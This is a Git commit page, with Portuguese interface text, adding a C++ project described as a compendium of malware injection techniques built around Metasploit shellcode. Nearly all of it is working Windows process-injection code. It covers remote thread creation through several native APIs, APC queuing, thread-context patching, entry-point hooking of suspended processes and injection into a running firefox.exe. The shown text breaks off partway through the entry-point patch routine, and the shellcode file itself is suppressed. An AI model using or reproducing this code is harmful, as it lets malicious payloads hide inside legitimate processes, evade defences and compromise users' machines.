c202cb1f6d/inject_shellcode
Este cometimento está contido em:
ascendente
f9a8f4e172
cometimento
7759bf39fd
|
@ -0,0 +1,13 @@
|
|||
# inject_shellcode
|
||||
Small compendium of injection techniques commonly used in malware demonstrated on metasploit-generated shellcode<br/>
|
||||
|
||||
Various objects of injection:<br/>
|
||||
+ existing process (found by name)
|
||||
+ newly created process
|
||||
|
||||
Demonstrated methods:<br/>
|
||||
+ Running shellcode in a new thread
|
||||
+ Adding shellcode into existing thread (using NtQueueApcThread)
|
||||
+ Patching Entry Point of the process
|
||||
+ Patching context of the process
|
||||
+ Injecting into Tray Window (using SetWindowLong)
|
|
@ -0,0 +1,34 @@
|
|||
cmake_minimum_required (VERSION 2.8)
|
||||
project (Injections)
|
||||
|
||||
add_definitions(-DUNICODE -D_UNICODE)
|
||||
|
||||
set (srcs
|
||||
main.cpp
|
||||
window_long_inject.cpp
|
||||
sysutil.cpp
|
||||
pe_hdrs_helper.cpp
|
||||
)
|
||||
|
||||
set (hdrs
|
||||
main.h
|
||||
ntddk.h
|
||||
ntdll_undoc.h
|
||||
kernel32_undoc.h
|
||||
map_buffer_into_process.h
|
||||
target_util.h
|
||||
payload.h
|
||||
createproc.h
|
||||
add_thread.h
|
||||
add_apc.h
|
||||
patch_ep.h
|
||||
patch_context.h
|
||||
window_long_inject.h
|
||||
enumproc.h
|
||||
sysutil.h
|
||||
pe_hdrs_helper.h
|
||||
)
|
||||
|
||||
add_executable (Injections ${hdrs} ${srcs})
|
||||
|
||||
INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )
|
|
@ -0,0 +1,21 @@
|
|||
#pragma once
|
||||
#include <stdio.h>
|
||||
#include "ntdll_undoc.h"
|
||||
|
||||
bool add_shellcode_to_apc(HANDLE hThread, LPVOID remote_shellcode_ptr)
|
||||
{
|
||||
#if defined(_WIN64)
|
||||
printf("[ERROR] 64bit version of this method is not implemented!\n");
|
||||
return false;
|
||||
#else
|
||||
printf("Adding shellcode to the queue\n");
|
||||
NTSTATUS status = NULL;
|
||||
|
||||
if ((status = NtQueueApcThread(hThread, remote_shellcode_ptr, 0, 0, 0)) != STATUS_SUCCESS)
|
||||
{
|
||||
printf("[ERROR] NtQueueApcThread failed, status : %x\n", status);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
#endif
|
||||
}
|
|
@ -0,0 +1,89 @@
|
|||
#pragma once
|
||||
#include <stdio.h>
|
||||
#include "ntddk.h"
|
||||
#include "ntdll_undoc.h"
|
||||
|
||||
typedef enum {
|
||||
usingRandomMethod,
|
||||
usingCreateRemoteThread,
|
||||
usingZwCreateThreadEx,
|
||||
usingRtlCreateUserThread,
|
||||
CREATION_METHODS_SIZE
|
||||
} THREAD_CREATION_METHOD;
|
||||
|
||||
bool run_shellcode_in_new_thread1(HANDLE hProcess, LPVOID remote_shellcode_ptr)
|
||||
{
|
||||
NTSTATUS status = NULL;
|
||||
//create a new thread for the injected code:
|
||||
LPTHREAD_START_ROUTINE routine = (LPTHREAD_START_ROUTINE) remote_shellcode_ptr;
|
||||
|
||||
DWORD threadId = NULL;
|
||||
HANDLE hMyThread = NULL;
|
||||
if ((hMyThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, CREATE_SUSPENDED, &threadId)) == NULL) {
|
||||
printf("[ERROR] CreateRemoteThread failed, status : %x\n", GetLastError());
|
||||
return false;
|
||||
}
|
||||
printf("Created Thread, id = %x\n", threadId);
|
||||
printf("Resuming added thread...\n");
|
||||
ResumeThread(hMyThread); //injected code
|
||||
return true;
|
||||
}
|
||||
|
||||
bool run_shellcode_in_new_thread2(HANDLE hProcess, LPVOID remote_shellcode_ptr)
|
||||
{
|
||||
NTSTATUS status = NULL;
|
||||
HANDLE hMyThread = NULL;
|
||||
//create a new thread for the injected code:
|
||||
if ((status = ZwCreateThreadEx(&hMyThread, 0x1FFFFF, NULL, hProcess, remote_shellcode_ptr, NULL, CREATE_SUSPENDED, 0, 0, 0, 0)) != STATUS_SUCCESS)
|
||||
{
|
||||
printf("[ERROR] ZwCreateThreadEx failed, status : %x\n", status);
|
||||
return false;
|
||||
}
|
||||
printf("Created Thread, id = %x\n", GetThreadId(hMyThread));
|
||||
printf("Resuming added thread...\n");
|
||||
ResumeThread(hMyThread); //injected code
|
||||
return true;
|
||||
}
|
||||
|
||||
bool run_shellcode_in_new_thread3(HANDLE hProcess, LPVOID remote_shellcode_ptr)
|
||||
{
|
||||
NTSTATUS status = NULL;
|
||||
HANDLE hMyThread = NULL;
|
||||
CLIENT_ID cid;
|
||||
//create a new thread for the injected code:
|
||||
|
||||
if ((status = RtlCreateUserThread(hProcess, NULL, true, 0, 0, 0, remote_shellcode_ptr, NULL, &hMyThread, &cid)) != STATUS_SUCCESS)
|
||||
{
|
||||
printf("[ERROR] RtlCreateUserThread failed, status : %x\n", status);
|
||||
return false;
|
||||
}
|
||||
printf("Created Thread, id = %x\n", GetThreadId(hMyThread));
|
||||
printf("Resuming added thread...\n");
|
||||
ResumeThread(hMyThread); //injected code
|
||||
return true;
|
||||
}
|
||||
|
||||
//---
|
||||
bool run_shellcode_in_new_thread(HANDLE hProcess, LPVOID remote_shellcode_ptr, DWORD method)
|
||||
{
|
||||
bool isSuccess = false;
|
||||
DWORD max = CREATION_METHODS_SIZE - 1;
|
||||
DWORD random = (GetTickCount() * 1000) % max + 1;
|
||||
if (method > max || method <= usingRandomMethod) method = random;
|
||||
|
||||
printf("Injecting by method, id = %x\n", method);
|
||||
switch (method) {
|
||||
case usingCreateRemoteThread:
|
||||
isSuccess = run_shellcode_in_new_thread1(hProcess, remote_shellcode_ptr);
|
||||
break;
|
||||
case usingZwCreateThreadEx:
|
||||
isSuccess = run_shellcode_in_new_thread2(hProcess, remote_shellcode_ptr);
|
||||
break;
|
||||
case usingRtlCreateUserThread:
|
||||
isSuccess = run_shellcode_in_new_thread3(hProcess, remote_shellcode_ptr);
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
return isSuccess;
|
||||
}
|
|
@ -0,0 +1,59 @@
|
|||
#pragma once
|
||||
#include "kernel32_undoc.h"
|
||||
|
||||
bool create_new_process1(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)
|
||||
{
|
||||
STARTUPINFO si;
|
||||
memset(&si, 0, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
|
||||
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
if (!CreateProcess(
|
||||
NULL,
|
||||
cmdLine,
|
||||
NULL, //lpProcessAttributes
|
||||
NULL, //lpThreadAttributes
|
||||
FALSE, //bInheritHandles
|
||||
DETACHED_PROCESS|CREATE_SUSPENDED|CREATE_NO_WINDOW, //dwCreationFlags
|
||||
NULL, //lpEnvironment
|
||||
startDir, //lpCurrentDirectory
|
||||
&si, //lpStartupInfo
|
||||
&pi //lpProcessInformation
|
||||
))
|
||||
{
|
||||
printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError());
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool create_new_process2(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)
|
||||
{
|
||||
STARTUPINFO si;
|
||||
memset(&si, 0, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
|
||||
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hNewToken = NULL;
|
||||
if (!CreateProcessInternalW (hToken,
|
||||
NULL, //lpApplicationName
|
||||
(LPWSTR) cmdLine, //lpCommandLine
|
||||
NULL, //lpProcessAttributes
|
||||
NULL, //lpThreadAttributes
|
||||
FALSE, //bInheritHandles
|
||||
CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, //dwCreationFlags
|
||||
NULL, //lpEnvironment
|
||||
startDir, //lpCurrentDirectory
|
||||
&si, //lpStartupInfo
|
||||
&pi, //lpProcessInformation
|
||||
&hNewToken
|
||||
))
|
||||
{
|
||||
printf("[ERROR] CreateProcessInternalW failed, Error = %x\n", GetLastError());
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
|
@ -0,0 +1,55 @@
|
|||
#pragma once
|
||||
#include <psapi.h>
|
||||
|
||||
bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax)
|
||||
{
|
||||
HMODULE hMod;
|
||||
DWORD cbNeeded;
|
||||
|
||||
if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
|
||||
GetModuleBaseName( hProcess, hMod, nameBuf, nameMax );
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool is_searched_process( DWORD processID, LPWSTR searchedName)
|
||||
{
|
||||
HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
|
||||
if (hProcess == NULL) return false;
|
||||
|
||||
WCHAR szProcessName[MAX_PATH];
|
||||
if (get_process_name(hProcess, szProcessName, MAX_PATH)) {
|
||||
if (wcsstr(szProcessName, searchedName) != NULL) {
|
||||
printf( "%S (PID: %u)\n", szProcessName, processID );
|
||||
CloseHandle(hProcess);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
HANDLE find_running_process(LPWSTR searchedName)
|
||||
{
|
||||
DWORD aProcesses[1024], cbNeeded, cProcesses;
|
||||
unsigned int i;
|
||||
|
||||
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//calculate how many process identifiers were returned.
|
||||
cProcesses = cbNeeded / sizeof(DWORD);
|
||||
|
||||
//search handle to the process of defined name
|
||||
for ( i = 0; i < cProcesses; i++ ) {
|
||||
if( aProcesses[i] != 0 ) {
|
||||
if (is_searched_process(aProcesses[i], searchedName)) {
|
||||
HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]);
|
||||
return hProcess;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
//don't forget to load functiond before use:
|
||||
//load_kernel32_functions();
|
||||
//
|
||||
|
||||
BOOL
|
||||
(WINAPI *CreateProcessInternalW)(HANDLE hToken,
|
||||
LPCWSTR lpApplicationName,
|
||||
LPWSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCWSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFOW lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation,
|
||||
PHANDLE hNewToken
|
||||
);
|
||||
|
||||
|
||||
BOOL load_kernel32_functions()
|
||||
{
|
||||
HMODULE hKernel32 = GetModuleHandleA("kernel32");
|
||||
CreateProcessInternalW = (BOOL (WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32,"CreateProcessInternalW");
|
||||
if (CreateProcessInternalW == NULL) return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
|
@ -0,0 +1,127 @@
|
|||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
|
||||
#include "main.h"
|
||||
#include "createproc.h"
|
||||
#include "enumproc.h"
|
||||
|
||||
#include "payload.h"
|
||||
#include "map_buffer_into_process.h"
|
||||
#include "sysutil.h"
|
||||
|
||||
typedef enum {
|
||||
ADD_THREAD,
|
||||
ADD_APC,
|
||||
PATCH_EP,
|
||||
PATCH_CONTEXT
|
||||
} INJECTION_POINT;
|
||||
|
||||
typedef enum {
|
||||
EXISTING_PROC,
|
||||
NEW_PROC,
|
||||
TRAY_WINDOW
|
||||
} TARGET_TYPE;
|
||||
|
||||
using namespace std;
|
||||
|
||||
bool inject_in_new_process(INJECTION_POINT mode)
|
||||
{
|
||||
//get target path
|
||||
WCHAR cmdLine[MAX_PATH];
|
||||
get_calc_path(cmdLine, MAX_PATH);
|
||||
|
||||
WCHAR startDir[MAX_PATH];
|
||||
if (!get_dir(cmdLine, startDir)) {
|
||||
GetSystemDirectory(startDir, MAX_PATH);
|
||||
}
|
||||
printf("Target: %S\n", cmdLine);
|
||||
//create suspended process
|
||||
PROCESS_INFORMATION pi;
|
||||
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
|
||||
if (create_new_process2(pi, cmdLine, startDir) == false) {
|
||||
return false;
|
||||
}
|
||||
LPVOID remote_shellcode_ptr = map_buffer_into_process1(pi.hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);
|
||||
bool result = false;
|
||||
switch (mode) {
|
||||
case ADD_THREAD:
|
||||
result = run_shellcode_in_new_thread(pi.hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);
|
||||
// not neccessery to resume the main thread
|
||||
break;
|
||||
case ADD_APC:
|
||||
result = add_shellcode_to_apc(pi.hThread, remote_shellcode_ptr);
|
||||
ResumeThread(pi.hThread); //resume the main thread
|
||||
break;
|
||||
case PATCH_EP:
|
||||
result = paste_shellcode_at_ep(pi.hProcess, remote_shellcode_ptr, pi.hThread);
|
||||
ResumeThread(pi.hThread); //resume the main thread
|
||||
break;
|
||||
case PATCH_CONTEXT:
|
||||
result = patch_context(pi.hThread, remote_shellcode_ptr);
|
||||
ResumeThread(pi.hThread); //resume the main thread
|
||||
break;
|
||||
}
|
||||
|
||||
//close handles
|
||||
ZwClose(pi.hThread);
|
||||
ZwClose(pi.hProcess);
|
||||
return result;
|
||||
}
|
||||
|
||||
bool inject_in_existing_process()
|
||||
{
|
||||
HANDLE hProcess = find_running_process(L"firefox.exe");
|
||||
LPVOID remote_shellcode_ptr = map_buffer_into_process1(hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);
|
||||
if (remote_shellcode_ptr == NULL) {
|
||||
return false;
|
||||
}
|
||||
return run_shellcode_in_new_thread(hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
if (load_ntdll_functions() == FALSE) {
|
||||
printf("Failed to load NTDLL function\n");
|
||||
return (-1);
|
||||
}
|
||||
if (load_kernel32_functions() == FALSE) {
|
||||
printf("Failed to load KERNEL32 function\n");
|
||||
return (-1);
|
||||
}
|
||||
|
||||
// compatibility checks:
|
||||
if (!is_system32b()) {
|
||||
printf("[WARNING] Your ystem is NOT 32 bit! Some of the methods may not work.\n");
|
||||
}
|
||||
if (!is_compiled_32b()) {
|
||||
printf("[WARNING] It is recommended to compile the loader as a 32 bit application!\n");
|
||||
}
|
||||
|
||||
// choose the method:
|
||||
TARGET_TYPE targetType = TARGET_TYPE::NEW_PROC;
|
||||
switch (targetType) {
|
||||
case TARGET_TYPE::TRAY_WINDOW:
|
||||
if (!is_system32b()) {
|
||||
printf("[ERROR] Not supported! Your system is NOT 32 bit!\n");
|
||||
break;
|
||||
}
|
||||
// this injection is more fragile, use shellcode that makes no assumptions about the context
|
||||
if (inject_into_tray(g_Shellcode, sizeof(g_Shellcode))) {
|
||||
printf("[SUCCESS] Code injected into tray window!\n");
|
||||
break;
|
||||
}
|
||||
case TARGET_TYPE::EXISTING_PROC:
|
||||
if (inject_in_existing_process()) {
|
||||
printf("[SUCCESS] Code injected into existing process!\n");
|
||||
break;
|
||||
}
|
||||
case TARGET_TYPE::NEW_PROC:
|
||||
if (inject_in_new_process(INJECTION_POINT::PATCH_EP)) {
|
||||
printf("[SUCCESS] Code injected into a new process!\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
system("pause");
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
#pragma once
|
||||
|
||||
#include "ntdll_undoc.h"
|
||||
#include "kernel32_undoc.h"
|
||||
|
||||
#include "target_util.h"
|
||||
|
||||
//injection types:
|
||||
#include "add_thread.h"
|
||||
#include "add_apc.h"
|
||||
#include "patch_ep.h"
|
||||
#include "patch_context.h"
|
||||
#include "window_long_inject.h"
|
|
@ -0,0 +1,67 @@
|
|||
#pragma once
|
||||
#include <stdio.h> // for printf
|
||||
#include <wchar.h>
|
||||
#include "ntddk.h"
|
||||
|
||||
//set of alternative functions doing the same by a different way
|
||||
|
||||
PVOID map_buffer_into_process1(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
|
||||
{
|
||||
HANDLE hSection = NULL;
|
||||
OBJECT_ATTRIBUTES hAttributes;
|
||||
memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
|
||||
|
||||
LARGE_INTEGER maxSize;
|
||||
maxSize.HighPart = 0;
|
||||
maxSize.LowPart = static_cast<DWORD>(buffer_size);
|
||||
NTSTATUS status = NULL;
|
||||
if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, protect, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
|
||||
{
|
||||
printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID sectionBaseAddress = NULL;
|
||||
ULONG viewSize = 0;
|
||||
SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
|
||||
|
||||
// map the section in context of current process:
|
||||
if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, protect)) != STATUS_SUCCESS)
|
||||
{
|
||||
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
|
||||
return NULL;
|
||||
}
|
||||
printf("Section BaseAddress: %p\n", sectionBaseAddress);
|
||||
|
||||
memcpy (sectionBaseAddress, buffer, buffer_size);
|
||||
printf("Buffer copied!\n");
|
||||
|
||||
//map the new section into context of opened process
|
||||
PVOID sectionBaseAddress2 = NULL;
|
||||
if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, protect)) != STATUS_SUCCESS)
|
||||
{
|
||||
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//unmap from the context of current process
|
||||
ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
|
||||
ZwClose(hSection);
|
||||
|
||||
printf("Section mapped at address: %p\n", sectionBaseAddress2);
|
||||
return sectionBaseAddress2;
|
||||
}
|
||||
|
||||
LPVOID map_buffer_into_process2(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
|
||||
{
|
||||
LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, protect);
|
||||
if (remoteAddress == NULL) {
|
||||
printf("Could not allocate memory in the remote process\n");
|
||||
return NULL;
|
||||
}
|
||||
if (!WriteProcessMemory(hProcess, remoteAddress, buffer, buffer_size, NULL)) {
|
||||
VirtualFreeEx(hProcess,remoteAddress, buffer_size, MEM_FREE);
|
||||
return NULL;
|
||||
}
|
||||
return remoteAddress;
|
||||
}
|
A apresentação das diferenças no ficheiro foi suprimida por ser demasiado grande
Carregar diff
|
@ -0,0 +1,72 @@
|
|||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include "ntddk.h"
|
||||
|
||||
//undocumented functions from ntdll.dll
|
||||
//
|
||||
//don't forget to load functions before use:
|
||||
//load_ntdll_functions();
|
||||
|
||||
NTSTATUS (NTAPI *NtQueueApcThread)(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN PVOID ApcRoutine,
|
||||
IN PVOID ApcRoutineContext OPTIONAL,
|
||||
IN PVOID ApcStatusBlock OPTIONAL,
|
||||
IN ULONG ApcReserved OPTIONAL
|
||||
);
|
||||
|
||||
NTSTATUS (NTAPI *ZwSetInformationThread) (
|
||||
IN HANDLE ThreadHandle,
|
||||
IN THREADINFOCLASS ThreadInformationClass,
|
||||
IN PVOID ThreadInformation,
|
||||
IN ULONG ThreadInformationLength
|
||||
);
|
||||
|
||||
NTSTATUS (NTAPI *ZwCreateThreadEx) (
|
||||
OUT PHANDLE ThreadHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID StartRoutine,
|
||||
IN PVOID Argument OPTIONAL,
|
||||
IN ULONG CreateFlags,
|
||||
IN ULONG_PTR ZeroBits,
|
||||
IN SIZE_T StackSize OPTIONAL,
|
||||
IN SIZE_T MaximumStackSize OPTIONAL,
|
||||
IN PVOID AttributeList OPTIONAL
|
||||
);
|
||||
|
||||
NTSTATUS (NTAPI *RtlCreateUserThread) (
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
|
||||
IN BOOLEAN CreateSuspended,
|
||||
IN ULONG StackZeroBits,
|
||||
IN OUT PULONG StackReserved,
|
||||
IN OUT PULONG StackCommit,
|
||||
IN PVOID StartAddress,
|
||||
IN PVOID StartParameter OPTIONAL,
|
||||
OUT PHANDLE ThreadHandle,
|
||||
OUT PCLIENT_ID ClientID
|
||||
);
|
||||
|
||||
|
||||
BOOL load_ntdll_functions()
|
||||
{
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll");
|
||||
if (hNtdll == NULL) return FALSE;
|
||||
|
||||
NtQueueApcThread = (NTSTATUS (NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(hNtdll,"NtQueueApcThread");
|
||||
if (NtQueueApcThread == NULL) return FALSE;
|
||||
|
||||
ZwSetInformationThread = (NTSTATUS (NTAPI *)(HANDLE, THREADINFOCLASS, PVOID, ULONG)) GetProcAddress(hNtdll,"ZwSetInformationThread");
|
||||
if (ZwSetInformationThread == NULL) return FALSE;
|
||||
|
||||
ZwCreateThreadEx = (NTSTATUS (NTAPI *) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID)) GetProcAddress(hNtdll,"ZwCreateThreadEx");
|
||||
if (ZwCreateThreadEx == NULL) return FALSE;
|
||||
|
||||
RtlCreateUserThread = (NTSTATUS (NTAPI *) (HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID)) GetProcAddress(hNtdll,"RtlCreateUserThread");
|
||||
if (RtlCreateUserThread == NULL) return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
//32-bit version
|
||||
bool patch_context(HANDLE hThread, LPVOID remote_shellcode_ptr)
|
||||
{
|
||||
//get initial context of the target:
|
||||
BOOL res = FALSE;
|
||||
|
||||
#if defined(_WIN64)
|
||||
WOW64_CONTEXT context;
|
||||
memset(&context, 0, sizeof(WOW64_CONTEXT));
|
||||
context.ContextFlags = CONTEXT_INTEGER;
|
||||
res = Wow64GetThreadContext(hThread, &context);
|
||||
#else
|
||||
CONTEXT context;
|
||||
memset(&context, 0, sizeof(CONTEXT));
|
||||
context.ContextFlags = CONTEXT_INTEGER;
|
||||
res = GetThreadContext(hThread, &context);
|
||||
#endif
|
||||
if (res == FALSE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
//if the process was created as suspended and didn't run yet, EAX holds it's entry point:
|
||||
context.Eax = (DWORD) remote_shellcode_ptr;
|
||||
|
||||
#if defined(_WIN64)
|
||||
Wow64SetThreadContext(hThread, &context);
|
||||
#else
|
||||
res = SetThreadContext(hThread, &context);
|
||||
#endif
|
||||
if (res == FALSE) {
|
||||
return false;
|
||||
}
|
||||
printf("patched context -> EAX = %x\n", context.Eax);
|
||||
return true;
|
||||
}
|
|
@ -0,0 +1,140 @@
|
|||
#pragma once
|
||||
#include <stdio.h>
|
||||
#include "ntddk.h"
|
||||
#include "pe_hdrs_helper.h"
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
// Get image base by a method #1:
|
||||
LPCVOID getTargetImageBase1(HANDLE hProcess)
|
||||
{
|
||||
PROCESS_BASIC_INFORMATION pbi;
|
||||
memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));
|
||||
|
||||
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)
|
||||
{
|
||||
printf("[ERROR] NtQueryInformationProcess failed\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf("PEB = %p\n", (LPVOID)pbi.PebBaseAddress);
|
||||
|
||||
LPCVOID ImageBase = 0;
|
||||
SIZE_T read_bytes = 0;
|
||||
if (!ReadProcessMemory(hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, sizeof(ImageBase), &read_bytes)
|
||||
|| read_bytes != sizeof(ImageBase)
|
||||
)
|
||||
{
|
||||
printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
|
||||
return NULL;
|
||||
}
|
||||
return ImageBase;
|
||||
}
|
||||
|
||||
// Get image base by a method #2:
|
||||
// WARNING: this method of getting Image Base works only if
|
||||
// the process has been created as a SUSPENDED and didn't run yet
|
||||
// - it uses specific values of the registers, that are set only in this case.
|
||||
LPCVOID getTargetImageBase2(HANDLE hProcess, HANDLE hThread)
|
||||
{
|
||||
//get initial context of the target:
|
||||
#if defined(_WIN64)
|
||||
WOW64_CONTEXT context;
|
||||
memset(&context, 0, sizeof(WOW64_CONTEXT));
|
||||
context.ContextFlags = CONTEXT_INTEGER;
|
||||
Wow64GetThreadContext(hThread, &context);
|
||||
#else
|
||||
CONTEXT context;
|
||||
memset(&context, 0, sizeof(CONTEXT));
|
||||
context.ContextFlags = CONTEXT_INTEGER;
|
||||
GetThreadContext(hThread, &context);
|
||||
#endif
|
||||
//get image base of the target:
|
||||
DWORD PEB_addr = context.Ebx;
|
||||
|
||||
const SIZE_T kPtrSize = sizeof(DWORD); //for 32 bit
|
||||
DWORD targetImageBase = 0; //for 32 bit
|
||||
|
||||
printf("PEB = %x\n", PEB_addr);
|
||||
|
||||
if (!ReadProcessMemory(hProcess, LPVOID(PEB_addr + 8), &targetImageBase, kPtrSize, NULL)) {
|
||||
printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
|
||||
return false;
|
||||
}
|
||||
return (LPCVOID)((ULONGLONG)targetImageBase);
|
||||
}
|
||||
|
||||
bool paste_shellcode_at_ep(HANDLE hProcess, LPVOID remote_shellcode_ptr, HANDLE hThread=NULL)
|
||||
{
|
||||
LPCVOID ImageBase = NULL; //target ImageBase
|
||||
if (hThread != NULL) {
|
||||
ImageBase = getTargetImageBase2(hProcess, hThread);
|
||||
} else {
|
||||
#if defined(_WIN64)
|
||||
printf("[ERROR] 64bit version of this method is not implemented!\n");
|
||||
return false;
|
||||
#else
|
||||
ImageBase = getTargetImageBase1(hProcess);
|
||||
#endif
|
||||
}
|
||||
if (ImageBase == NULL) {
|
||||
printf("[ERROR] Fetching ImageBase failed!\n");
|
||||
return false;
|
||||
}
|
||||
printf("ImageBase = 0x%p\n", ImageBase);
|
||||
|
||||
// read headers:
|
||||
SIZE_T read_bytes = 0;
|
||||
BYTE hdrs_buf[PAGE_SIZE];
|
||||
if (!ReadProcessMemory(hProcess, ImageBase, hdrs_buf, sizeof(hdrs_buf), &read_bytes) && read_bytes != sizeof(hdrs_buf))
|
||||
{
|
||||
printf("[-] ReadProcessMemory failed\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// fetch Entry Point From headers
|
||||
IMAGE_NT_HEADERS32 *inh = get_nt_hrds32(hdrs_buf);
|
||||
if (inh == NULL) return false;
|
||||
|
||||
IMAGE_OPTIONAL_HEADER32 opt_hdr = inh->OptionalHeader;
|
||||
DWORD ep_rva = opt_hdr.AddressOfEntryPoint;
|
||||
|
||||
printf("Entry Point v: %x\n", ep_rva);
|
||||
printf("shellcode ptr: %p\n", remote_shellcode_ptr);
|
||||
|
||||
//make a buffer to store the hook code:
|
||||
const SIZE_T kHookSize = 0x10;
|
||||
BYTE hook_buffer[kHookSize];
|
||||
memset(hook_buffer, 0xcc, kHookSize);
|
||||
|
||||
//prepare the redirection:
|
||||
//address of the shellcode will be pushed on the stack and called via ret
|
||||
hook_buffer[0] = 0x68; //push
|
||||
hook_buffer[5] = 0xC3; //ret
|
||||
|
||||
//for 32bit code:
|
||||
DWORD shellcode_addr = (DWORD)remote_shellcode_ptr;
|
||||
memcpy(hook_buffer + 1, &shellcode_addr, sizeof(shellcode_addr));
|
||||
|
||||
//make a memory page containing Entry Point Writable:
|
||||
DWORD oldProtect;
|
||||
if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
|
||||
printf("Virtual Protect Failed!\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
//paste the redirection at Entry Point:
|
||||
